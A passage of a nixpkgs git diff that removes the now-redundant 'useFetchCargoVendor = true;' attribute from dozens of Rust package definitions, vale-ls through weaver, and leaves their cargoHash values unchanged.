index 666a413d7a22..32a253d64af2 100644
--- a/pkgs/by-name/va/vale-ls/package.nix
+++ b/pkgs/by-name/va/vale-ls/package.nix
@@ -42,7 +42,6 @@ rustPlatform.buildRustPackage rec {
 
   env.OPENSSL_NO_VENDOR = true;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KPgi0wZh1+PTKUmvCkLGPf+DZW5Tt4dQVK/cdxjm/1A=";
 
   postInstall = ''
diff --git a/pkgs/by-name/va/vault-tasks/package.nix b/pkgs/by-name/va/vault-tasks/package.nix
index 711c88a01459..fd76d9d454a0 100644
--- a/pkgs/by-name/va/vault-tasks/package.nix
+++ b/pkgs/by-name/va/vault-tasks/package.nix
@@ -16,7 +16,7 @@ rustPlatform.buildRustPackage {
     rev = "v${version}";
     hash = "sha256-7stFa2fLczGyoM/O2S/uKCfjSDyABUw/b3tXp7Olqq8=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-RSW0N0icKAZbh8KQNkI9TgcKwa6hTKjhaJWCGADtfq8=";
 
   postInstall = "install -Dm444 desktop/vault-tasks.desktop -t $out/share/applications";
diff --git a/pkgs/by-name/va/vaultwarden/package.nix b/pkgs/by-name/va/vaultwarden/package.nix
index 0283496d0352..ecb8e60e886b 100644
--- a/pkgs/by-name/va/vaultwarden/package.nix
+++ b/pkgs/by-name/va/vaultwarden/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Lu3/qVTi5Eedcm+3XlHAAJ1nPHm9hW4HZncQKmzDdoo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-T/ehLSPJmEuQYhotK12iqXQSe5Ke8+dkr9PVDe4Kmis=";
 
   # used for "Server Installed" version in admin panel
diff --git a/pkgs/by-name/vd/vdhcoapp/filepicker.nix b/pkgs/by-name/vd/vdhcoapp/filepicker.nix
index cd2f34dc114a..dd5b992e73df 100644
--- a/pkgs/by-name/vd/vdhcoapp/filepicker.nix
+++ b/pkgs/by-name/vd/vdhcoapp/filepicker.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7sRzf3SA9RSBf4O36olXgka8c6Bufdb0qsuTofVe55s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HUNBGG1+LsjaDsJS4p5aAdCRyltylQUtdydGSoUdNgo=";
 
   buildInputs = [
diff --git a/pkgs/by-name/ve/vector/package.nix b/pkgs/by-name/ve/vector/package.nix
index 88a233cceb12..6b8052af0592 100644
--- a/pkgs/by-name/ve/vector/package.nix
+++ b/pkgs/by-name/ve/vector/package.nix
@@ -37,7 +37,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-ouPCBaG/wwjIyzXA5PgBRpAtOJ5IuOrS+k4p6/KRzzY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Bl/dgkoF9Hx1hLt9+kZiyK42GNr+5UGJYy5QZOnHDV4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ve/veilid/package.nix b/pkgs/by-name/ve/veilid/package.nix
index 98708b563eed..05719eb4c5b0 100644
--- a/pkgs/by-name/ve/veilid/package.nix
+++ b/pkgs/by-name/ve/veilid/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SEmXZvv6951Ln87/sRQwr4FgGRSvowGyeyApfF+JnJ4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2fZAds4wNLd/mWh7EWpP2hqspBfAtTHIEe+dFag7Lw4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ve/verco/package.nix b/pkgs/by-name/ve/verco/package.nix
index 79f387a35a34..d1e5e09a7c11 100644
--- a/pkgs/by-name/ve/verco/package.nix
+++ b/pkgs/by-name/ve/verco/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-M3Utrt350I67kqzEH130tgBIiI7rY8ODCSxgMohWWWM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cpPEIFoEqc/4Md+/5e09B/ZQ+7cflLE+PY4ATAgWUvo=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ve/versatiles/package.nix b/pkgs/by-name/ve/versatiles/package.nix
index 8489eba95d05..b1d06d780594 100644
--- a/pkgs/by-name/ve/versatiles/package.nix
+++ b/pkgs/by-name/ve/versatiles/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-j50KZBYNzO9YNq6Nu3hozBmR2+KHbpCZuowSWMZ4yk4="; # When updating: Use `lib.fakeHash` for recomputing the hash once. Run: 'nix-build -A versatiles'. Swap with new hash and proceed.
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SmN/E7vvf9aoopOyigiZJoYBp1mADter4gCwI/tsG0Q="; # When updating: Same as above
 
   __darwinAllowLocalNetworking = true;
diff --git a/pkgs/by-name/ve/veryl/package.nix b/pkgs/by-name/ve/veryl/package.nix
index 906d68d38d48..10f517826ac7 100644
--- a/pkgs/by-name/ve/veryl/package.nix
+++ b/pkgs/by-name/ve/veryl/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PD1S9h4cGGgfRBB0iZzY7GRTeclRhwWLrxvNVEs8OJY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/vh/vhdl-ls/package.nix b/pkgs/by-name/vh/vhdl-ls/package.nix
index 6c427cf3ad7c..ec9e0284368d 100644
--- a/pkgs/by-name/vh/vhdl-ls/package.nix
+++ b/pkgs/by-name/vh/vhdl-ls/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-MzlsZoV09QeerpbE/Nmu5tMIvgscu84fk2bYlWn7bjg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nKA38HbFFYRGd48VGqd7SHMY8fvTLE8to3iturKgWqM=";
 
   postPatch = ''
diff --git a/pkgs/by-name/vi/viceroy/package.nix b/pkgs/by-name/vi/viceroy/package.nix
index 19ff19753ec3..d3656cd5d00b 100644
--- a/pkgs/by-name/vi/viceroy/package.nix
+++ b/pkgs/by-name/vi/viceroy/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-DeViAqL+7mta/wH7rLyltOCtHCTFXZczn2vAL1k+R2Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LBJD1w8/jLw5xYdHxR+EM2Cb4eVFpRw+M/K7K4Z0OUw=";
 
   cargoTestFlags = [
diff --git a/pkgs/by-name/vi/viddy/package.nix b/pkgs/by-name/vi/viddy/package.nix
index de37893373a3..fc7291e22bd5 100644
--- a/pkgs/by-name/vi/viddy/package.nix
+++ b/pkgs/by-name/vi/viddy/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ZdDe0ymPkj0ZGiPLo1Y0qMDk2SsUcPsSStay+Tuf4p0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Bp3t/fjaFeouIoKlRvQPVDlc46Ggitfx6HUXE+RZN0A=";
 
   # requires nightly features
diff --git a/pkgs/by-name/vi/vimcats/package.nix b/pkgs/by-name/vi/vimcats/package.nix
index b57e51867316..e99daee25693 100644
--- a/pkgs/by-name/vi/vimcats/package.nix
+++ b/pkgs/by-name/vi/vimcats/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
 
   buildFeatures = [ "cli" ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qxAxMAeeqiHNQ5jJ+Mxtkw9y0xeUFUzhClUc1k8I4HM=";
 
   passthru.tests.version = testers.testVersion { package = vimcats; };
diff --git a/pkgs/by-name/vi/vimv-rs/package.nix b/pkgs/by-name/vi/vimv-rs/package.nix
index 0ad02b284fd6..75803cff0109 100644
--- a/pkgs/by-name/vi/vimv-rs/package.nix
+++ b/pkgs/by-name/vi/vimv-rs/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jbRsgEsRYF5hlvo0jEB4jhy5jzCAXNzOsNWWyh4XULQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-A+Ba3OWQDAramwin1Yc1YDOyabuEEaZGhE1gel2tFoM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/vi/virtiofsd/package.nix b/pkgs/by-name/vi/virtiofsd/package.nix
index f8ab7c4e2653..c221974d4275 100644
--- a/pkgs/by-name/vi/virtiofsd/package.nix
+++ b/pkgs/by-name/vi/virtiofsd/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
 
   separateDebugInfo = true;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Y07SJ54sw4CPCPq/LoueGBfHuZXu9F32yqMR6LBJ09I=";
 
   LIBCAPNG_LIB_PATH = "${lib.getLib libcap_ng}/lib";
diff --git a/pkgs/by-name/vi/viu/package.nix b/pkgs/by-name/vi/viu/package.nix
index 91ceb2116473..d4d1237ddf1e 100644
--- a/pkgs/by-name/vi/viu/package.nix
+++ b/pkgs/by-name/vi/viu/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
   # tests need an interactive terminal
   doCheck = false;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-a9Z6/+/fMyJ2pFiKPexuiM5DAbk+Tcq3D9rDAyUwC84=";
 
   buildFeatures = lib.optional withSixel "sixel";
diff --git a/pkgs/by-name/vi/vivid/package.nix b/pkgs/by-name/vi/vivid/package.nix
index 2dfd013f1f0c..2fc7f5847f9a 100644
--- a/pkgs/by-name/vi/vivid/package.nix
+++ b/pkgs/by-name/vi/vivid/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mxBBfezaMM2dfiXK/s+Htr+i5GJP1xVSXzkmYxEuwNs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oP5/G/PSkwn4JruLQOGtM8M2uPt4Q88bU3kNmXUK4JE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/vo/voidmap/package.nix b/pkgs/by-name/vo/voidmap/package.nix
index 04760434fea3..5c3fd56050a4 100644
--- a/pkgs/by-name/vo/voidmap/package.nix
+++ b/pkgs/by-name/vo/voidmap/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-+P83psu+BYzgC/I/Ul7vrbZ99KIybd410/ycsIY1pGI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-H2KyqphEleEnWNfPdswns5QOLAlhO4UnmolnHcsV5FU=";
 
   checkFlags = [
diff --git a/pkgs/by-name/vo/volta/package.nix b/pkgs/by-name/vo/volta/package.nix
index 83ad131e8d22..ab000b32cf96 100644
--- a/pkgs/by-name/vo/volta/package.nix
+++ b/pkgs/by-name/vo/volta/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ZI+3/Xbkg/JaZMLhrJEjaSwjs44fOaiRReM2DUTnkkc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xlqsubkaX2A6d5MIcGf9E0b11Gzneksgku0jvW+UdbE=";
 
   buildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/vo/vopono/package.nix b/pkgs/by-name/vo/vopono/package.nix
index 94f933a03327..ff5c637042b0 100644
--- a/pkgs/by-name/vo/vopono/package.nix
+++ b/pkgs/by-name/vo/vopono/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qgsfTniikrdykFSFqZATp7ewPZm5z5p5FMztNKWzPIY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hQfLj2wbCjI2O/6hh9IJk9ehakGrvF2IbY8aVAPPT0o=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/vr/vrc-get/package.nix b/pkgs/by-name/vr/vrc-get/package.nix
index b29418adadbb..e5e5d68970bd 100644
--- a/pkgs/by-name/vr/vrc-get/package.nix
+++ b/pkgs/by-name/vr/vrc-get/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cG6fcSIQ0E1htEM4H914SSKDNRGM5fj52SUoLqRYzoc=";
 
   # Execute the resulting binary to generate shell completions, using emulation if necessary when cross-compiling.
diff --git a/pkgs/by-name/vu/vulkan-helper/package.nix b/pkgs/by-name/vu/vulkan-helper/package.nix
index c064004ed831..708a7c292084 100644
--- a/pkgs/by-name/vu/vulkan-helper/package.nix
+++ b/pkgs/by-name/vu/vulkan-helper/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-2pLHnTn0gJKz4gfrR6h85LHOaZPrhIGYzQeci4Dzz2E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9Zc949redmYLCgDR9pabR4ZTtcvOjrXvviRdsb8AiBU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wa/wagyu/package.nix b/pkgs/by-name/wa/wagyu/package.nix
index c40d2add083c..dab47577bc7f 100644
--- a/pkgs/by-name/wa/wagyu/package.nix
+++ b/pkgs/by-name/wa/wagyu/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   cargoPatches = [ ./fix-rustc-serialize-version.patch ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vtNxRW/b8kvy21YQezCUiZNtLnlMSkdTRr/OkGy6UAw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/wa/wallust/package.nix b/pkgs/by-name/wa/wallust/package.nix
index 422ea2141da4..65c71081ab72 100644
--- a/pkgs/by-name/wa/wallust/package.nix
+++ b/pkgs/by-name/wa/wallust/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-n3FXPlm8nructXh+Wc7BgJvxas6OFHEPbTe2QWjEpsg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LIHSnRPrx4gHZkpKEEZ1Um609i3vv0JGXLpbiSD08P4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wa/wambo/package.nix b/pkgs/by-name/wa/wambo/package.nix
index 19927dff81e8..59858ea651a9 100644
--- a/pkgs/by-name/wa/wambo/package.nix
+++ b/pkgs/by-name/wa/wambo/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3EwNC78DhSXbVFSg6q+66yge4S1m5icJ5nOhoy9qsRI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rFUZGP9pH5J3iXGTyjdtDjS+wiWo5pD3X9eUtIivp2c=";
 
   meta = {
diff --git a/pkgs/by-name/wa/wapm/package.nix b/pkgs/by-name/wa/wapm/package.nix
index 385e9af0a2b1..b5efceae0b71 100644
--- a/pkgs/by-name/wa/wapm/package.nix
+++ b/pkgs/by-name/wa/wapm/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-T7YEe8xg5iwI/npisW0m+6FLi+eaAQVgYNe6TvMlhAs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GW5/1/RsS5jn6DoR+wGpwNzUW+nN45cxpE85XbnXqso=";
 
   nativeBuildInputs = [ perl ];
diff --git a/pkgs/by-name/wa/wash-cli/package.nix b/pkgs/by-name/wa/wash-cli/package.nix
index f3e1ff341860..05b21adbb094 100644
--- a/pkgs/by-name/wa/wash-cli/package.nix
+++ b/pkgs/by-name/wa/wash-cli/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-A66KSDYFbByguhnlzzU5nf8pE3lhnYQjI3h73SKB2Zo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-m8NkYqfWRNJn+1Qym1C5ZwKhvXrwFd01TSpVigYwsJ8=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/wa/wasm-language-tools/package.nix b/pkgs/by-name/wa/wasm-language-tools/package.nix
index 57c2cd14625d..9bc4518cb19b 100644
--- a/pkgs/by-name/wa/wasm-language-tools/package.nix
+++ b/pkgs/by-name/wa/wasm-language-tools/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ynbAIM6KSzCCfAG+G51yn2F9OpCJQj8yIWh0T4l0RD0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0gbf+n43zpq4p3hQ5u2nBdVQGK5y9C+9AzlQVGB6lo4=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/wa/wasm-pack/package.nix b/pkgs/by-name/wa/wasm-pack/package.nix
index 24a86a73edef..60812a377385 100644
--- a/pkgs/by-name/wa/wasm-pack/package.nix
+++ b/pkgs/by-name/wa/wasm-pack/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CN1LcLX7ag+in9sosT2NYVKfhDLGv2m3zHOk2T4MFYc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nYWvk2v+4IAk/y7fg+Z/nMH+Ml+J5k5ER8uudCQOMB8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wa/wasm-tools/package.nix b/pkgs/by-name/wa/wasm-tools/package.nix
index ac0014669683..9fb13fbe5799 100644
--- a/pkgs/by-name/wa/wasm-tools/package.nix
+++ b/pkgs/by-name/wa/wasm-tools/package.nix
@@ -18,7 +18,7 @@ rustPlatform.buildRustPackage rec {
 
   # Disable cargo-auditable until https://github.com/rust-secure-code/cargo-auditable/issues/124 is solved.
   auditable = false;
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-OqQJ2jvceHPoSx7Iic/hsJWv8vJnEo9F1bbpqfL5HsM=";
   cargoBuildFlags = [
     "--package"
diff --git a/pkgs/by-name/wa/wasmer-pack/package.nix b/pkgs/by-name/wa/wasmer-pack/package.nix
index 273be1c20296..f9f780bed6e7 100644
--- a/pkgs/by-name/wa/wasmer-pack/package.nix
+++ b/pkgs/by-name/wa/wasmer-pack/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+wqgYkdkuhPFkJBdQLnUKAGmUfGBU9mBfMRNBFmiT4E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PZudXmdPz6fG7NDC/yN7qG+RQFSzNynXo6SpYJEku9A=";
 
   cargoBuildFlags = [ "-p=wasmer-pack-cli" ];
diff --git a/pkgs/by-name/wa/wasmi/package.nix b/pkgs/by-name/wa/wasmi/package.nix
index 9afcafba9ce6..02bd9d465981 100644
--- a/pkgs/by-name/wa/wasmi/package.nix
+++ b/pkgs/by-name/wa/wasmi/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IDoZ6A5c/ayCusdb9flR3S/CBxJIWHQlEYP8ILRWXFw=";
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/wa/wasmtime/package.nix b/pkgs/by-name/wa/wasmtime/package.nix
index 28c49736e450..1536d6ef232f 100644
--- a/pkgs/by-name/wa/wasmtime/package.nix
+++ b/pkgs/by-name/wa/wasmtime/package.nix
@@ -21,7 +21,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   # Disable cargo-auditable until https://github.com/rust-secure-code/cargo-auditable/issues/124 is solved.
   auditable = false;
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-m9TsTTx/ExqE9/W3xVkYxtgKh8AlGUJTlGPMIDK2xog=";
   cargoBuildFlags = [
     "--package"
diff --git a/pkgs/by-name/wa/wastebin/package.nix b/pkgs/by-name/wa/wastebin/package.nix
index a1e24f12502c..c4b82434241d 100644
--- a/pkgs/by-name/wa/wastebin/package.nix
+++ b/pkgs/by-name/wa/wastebin/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-DuIT4jIxk+L7c+rWIzrNjNEs2Lv5mYqLeCAaBMsBCBg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ui4Bns5A25VrNer6wpD0agYJQwxuIYWSOO26u1K8Vmc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wa/watchexec/package.nix b/pkgs/by-name/wa/watchexec/package.nix
index 93ca9ba9e438..112a02f4ff6f 100644
--- a/pkgs/by-name/wa/watchexec/package.nix
+++ b/pkgs/by-name/wa/watchexec/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ldxB1/WgOe1uGfKXkMEtGHIlWiKJgnZz6j/7eCOGD8s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LdjJlf4HPN+kZOQKPNSdbYApGBD4Z6tKV9Y0FFKpAf0=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/wa/watchlog/package.nix b/pkgs/by-name/wa/watchlog/package.nix
index b892e4ae7194..e1d074fa2049 100644
--- a/pkgs/by-name/wa/watchlog/package.nix
+++ b/pkgs/by-name/wa/watchlog/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1AcA2Ar2XVLMfBxG2GtsXe9zNF/8pJBZ2NzihhMm3Vk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-83vDlH/S8rZqLwBux3WoTIkGFf01Powyz9sZpsVY+AQ=";
 
   meta = {
diff --git a/pkgs/by-name/wa/watchmate/package.nix b/pkgs/by-name/wa/watchmate/package.nix
index a6bffff8bfc7..33bd4534d69b 100644
--- a/pkgs/by-name/wa/watchmate/package.nix
+++ b/pkgs/by-name/wa/watchmate/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-fHWxn7hFx/9cnLlCHIC6hIJaLd1U3Ii9mJgTJ+Hw63M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9OR0+OIUpDu37BDC1QJ0r4P/T+DtuHIStFfYT/kPXBE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wa/watershot/package.nix b/pkgs/by-name/wa/watershot/package.nix
index 51854c095e6e..91568ba20e39 100644
--- a/pkgs/by-name/wa/watershot/package.nix
+++ b/pkgs/by-name/wa/watershot/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-l9CPSB8TCw901ugl5FLVZDkp2rLha0yXMewK7LxXIiE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ETyz2fmcDPvrYA08ZrDuIE9ve8T74mBn//lU5ZNQt1A=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wa/waycorner/package.nix b/pkgs/by-name/wa/waycorner/package.nix
index 5fa7c04d19f1..ef97321a224c 100644
--- a/pkgs/by-name/wa/waycorner/package.nix
+++ b/pkgs/by-name/wa/waycorner/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-b8juIhJ3kh+NJc8RUVVoatqjWISSW0ir/vk2Dz/428Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sMsqH4+Vhqiu5GKPs9FQMQjjc2H6ZGZosd4Qj3DlBqA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wa/wayfreeze/package.nix b/pkgs/by-name/wa/wayfreeze/package.nix
index efb13e8af2ee..7b1bf22d7c27 100644
--- a/pkgs/by-name/wa/wayfreeze/package.nix
+++ b/pkgs/by-name/wa/wayfreeze/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
 
   passthru.updateScript = nix-update-script { extraArgs = [ "--version=branch" ]; };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jA+hVVV2hM/Hw/9rzGM63UuT/aq488kTMC/AKwSmoJk=";
 
   buildInputs = [
diff --git a/pkgs/by-name/wa/wayidle/package.nix b/pkgs/by-name/wa/wayidle/package.nix
index 8a0dae1133e4..4f06ed688e96 100644
--- a/pkgs/by-name/wa/wayidle/package.nix
+++ b/pkgs/by-name/wa/wayidle/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-DgsktRIGWswSBYeij5OL4nJwWaURv+v+qzOdZnLKG/E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rpmMUrVobYa9mGERJnhGsvebzWbuL+51VeuXKUIFdwg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/wa/wayland-pipewire-idle-inhibit/package.nix b/pkgs/by-name/wa/wayland-pipewire-idle-inhibit/package.nix
index da3dc53ed1ae..1dd2cd8ef3c7 100644
--- a/pkgs/by-name/wa/wayland-pipewire-idle-inhibit/package.nix
+++ b/pkgs/by-name/wa/wayland-pipewire-idle-inhibit/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8oVTexYGQWyaAVJedrp4kIQ7VjBR47l65eByZr7oghg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dPP3umoaRMiwQ4uf98CvBqc8GOSH46HSt4xyxzCQsJc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wa/waylevel/package.nix b/pkgs/by-name/wa/waylevel/package.nix
index fa84a45288cf..966ad9d270d8 100644
--- a/pkgs/by-name/wa/waylevel/package.nix
+++ b/pkgs/by-name/wa/waylevel/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-T2gqiRcKrKsvwGNnWrxR1Ga/VX4AyllYn1H25aIKt5s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-W1xWVH8vKA6hItXRg4VxxvcJRUtURrUAlQFaZV4geY4=";
 
   postFixup = ''
diff --git a/pkgs/by-name/wa/waylyrics/package.nix b/pkgs/by-name/wa/waylyrics/package.nix
index 4b1f4ba03ffa..d98ccdc5147a 100644
--- a/pkgs/by-name/wa/waylyrics/package.nix
+++ b/pkgs/by-name/wa/waylyrics/package.nix
@@ -19,8 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-uXAcoy5fnnkqtmGmaEC6Ceu+dwmZKDPOFzxC4COuDbk=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-moB2G/QxN3oAfCoTHXjFpIOSB2wRogEUjzup+MTfR6E=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wa/wayout/package.nix b/pkgs/by-name/wa/wayout/package.nix
index 15c93f55ab8e..de2915d63f3a 100644
--- a/pkgs/by-name/wa/wayout/package.nix
+++ b/pkgs/by-name/wa/wayout/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-EzRetxx0NojhBlBPwhQ7p9rGXDUBlocVqxcEVGIF3+0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-RiM9d/aOCnV0t13QQO1fdw+QPGMoF/EjIDA2uttjXcQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/wa/wayshot/package.nix b/pkgs/by-name/wa/wayshot/package.nix
index e5dfd7921806..892dea42a751 100644
--- a/pkgs/by-name/wa/wayshot/package.nix
+++ b/pkgs/by-name/wa/wayshot/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nUpIN4WTePtFZTmKAjv0tgj4VTdZeXjoQX6am9+M3ig=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uKETDGi1n6VcdGCrjrnEM1sQ0vVjd/vCXMUn9Hby2m8=";
 
   # tests are off as they are broken and pr for integration testing is still WIP
diff --git a/pkgs/by-name/wa/waytrogen/package.nix b/pkgs/by-name/wa/waytrogen/package.nix
index 95b9ca9752e5..897636586be1 100644
--- a/pkgs/by-name/wa/waytrogen/package.nix
+++ b/pkgs/by-name/wa/waytrogen/package.nix
@@ -27,7 +27,6 @@ stdenv.mkDerivation rec {
     hash = "sha256-OO7HHmTa5qH0lFl+ZnsJMo4MxQCRnKn7kkO2BOGt8PA=";
   };
 
-  useFetchCargoVendor = true;
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit src;
     name = "${pname}-${version}";
diff --git a/pkgs/by-name/wc/wchisp/package.nix b/pkgs/by-name/wc/wchisp/package.nix
index 767b2c0c7dd2..cb08351ec0bb 100644
--- a/pkgs/by-name/wc/wchisp/package.nix
+++ b/pkgs/by-name/wc/wchisp/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-6WNXsRvbldEjAykMn1DCiuKctBrsTHGv1fJuRXBblu0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VC8wiMdg7BnE92m57pKSrtv7vmbRNwV1yyy3f+1e+cY=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/we/weaver/package.nix b/pkgs/by-name/we/weaver/package.nix
index 38c9fcb2767c..20ce344cc926 100644
--- a/pkgs/by-name/we/weaver/package.nix
+++ b/pkgs/by-name/we/weaver/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-zsDHVa3UqJX0dPg69hQmoTc6d+fx5zHe4+ElFByMb9s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-30JR9dX+N8KLHeUt8VsGC9LgKUnTtwunWAaXEnzGyWw=";
 
   checkFlags = [
